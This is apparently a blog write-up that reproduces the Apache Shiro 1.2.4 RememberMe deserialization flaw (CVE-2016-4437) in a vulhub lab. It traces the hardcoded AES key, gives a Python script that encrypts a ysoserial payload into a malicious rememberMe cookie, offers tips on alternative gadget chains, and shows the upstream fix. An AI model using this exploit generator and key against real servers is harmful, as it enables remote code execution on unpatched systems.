Shiro_1.2.4_RememberMe复现调试

前言

调试shiro 1.2.4 remember反序列化漏洞。

实验环境

vulhub的CVE-2016-4437环境,springboot+shiro 1.2.4,修改docker-compose.yaml为以下配置,使docker支持远程调试。

1
2
3
4
5
6
7
8
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8085:8080"
- "5005:5005"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

将shirodemo-1.0-SNAPSHOT.jar解压,导入idea,项目结构图如下:

将BOOT-INF的lib导入为依赖,然后将classes文件夹加入dependences,使class文件中的断点生效。

最后需要注意的是开启远程调试时,用的jdk版本和docker中的jdk大版本一直就可。

idea远程调试配置如下

漏洞调试

Shiro-1.2.4主要的成因是硬编码秘钥和不受限制的反序列化,首先要找出反序列化点。

  1. 在shiro-core中的readObject方法下断点。然后登录后将获取到的rememberMe重发。

    断在SimplePrincipalCollection类的294行,这里反序列化未做任何限制。

    1
    2
    3
    4
    5
    6
    7
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    boolean principalsExist = in.readBoolean();
    if (principalsExist) {
    this.realmPrincipals = (Map<String, Set>) in.readObject();
    }
    }

    看下堆栈。

    注意到getRememberedIdentity方法,应该是在这个方法中获取到rememberMe的值并解密。

  2. 回溯到getRememberedIdentityconvertBytesToPrincipals,在该方法中完成解密。

    1
    2
    3
    4
    5
    6
    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
    bytes = decrypt(bytes);
    }
    return deserialize(bytes);
    }
  3. decrypt方法中的getDecryptionCipherKey获取秘钥

    1
    2
    3
    public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
    }

    发现AbstractRememberMeManager类的构造器初始化秘钥

    1
    2
    3
    4
    5
    public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }
    1
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

    秘钥硬编码

  4. 最终在JcaCipherService中找到加解密的模式,AES/CBC/PKCS5Padding

poc

ysoserial cc10链生成**.ser**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from Crypto.Cipher import AES
import argparse
import base64
import os
import uuid


def AES_encrypt(secret_key, data):
"""
:param secret_key [byte] : 加密秘钥
:param data [byte] : 需要加密数据
:return [str] :
"""
BLOCK_SIZE = 16 # Bytes
# 数据进行 PKCS5Padding 的填充
# 字节padding

def pad(s): return s + (BLOCK_SIZE - len(s) %
BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE).encode()

raw = pad(data)
iv = uuid.uuid4().bytes
cipher = AES.new(secret_key, AES.MODE_CBC,iv=iv)
# 得到加密后的字节码
encrypted_text = cipher.encrypt(raw)
return base64.b64encode(iv+encrypted_text).decode()

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'-k', '--key', type=str, help="key with base64")
parser.add_argument('-p','--serpath',type=str,help='ser file path')
args = parser.parse_args()
key = args.key
ser_path = args.serpath
if key is None or ser_path is None or not os.path.exists(ser_path):
parser.print_help()
exit(1)
try:
t=''
with open(ser_path,'rb') as f:
t = f.read()
model = AES.MODE_CBC

key = base64.b64decode(key.encode())
crypto_text = AES_encrypt(key, t)
print(crypto_text)
except Exception as e:
print(e)

指定**.ser**文件和key可以直接生成加密序列,需要注意的是shiro的的aes加密需要把iv放在最前面。

修复方式

AbstractRememberMeManager中的硬编码改为随机生成编码

1
2
3
4
5
6
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}

https://raw.githubusercontent.com/apache/shiro/b633c97d79a7f3ff3ace22d2a1d0f80490c91cbc/core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java

关于cc链打不通的应对

  1. spring boot+shiro的组合是可以打通cc链的
  2. shiro打cc链有时候可能不通的原因很有可能是shiro并没有真正依赖cc,而cc的依赖没有被加载到classpath中,这个时候就要考虑使用jrmp,jdk7u22或者jdk8u20这样的原生依赖链。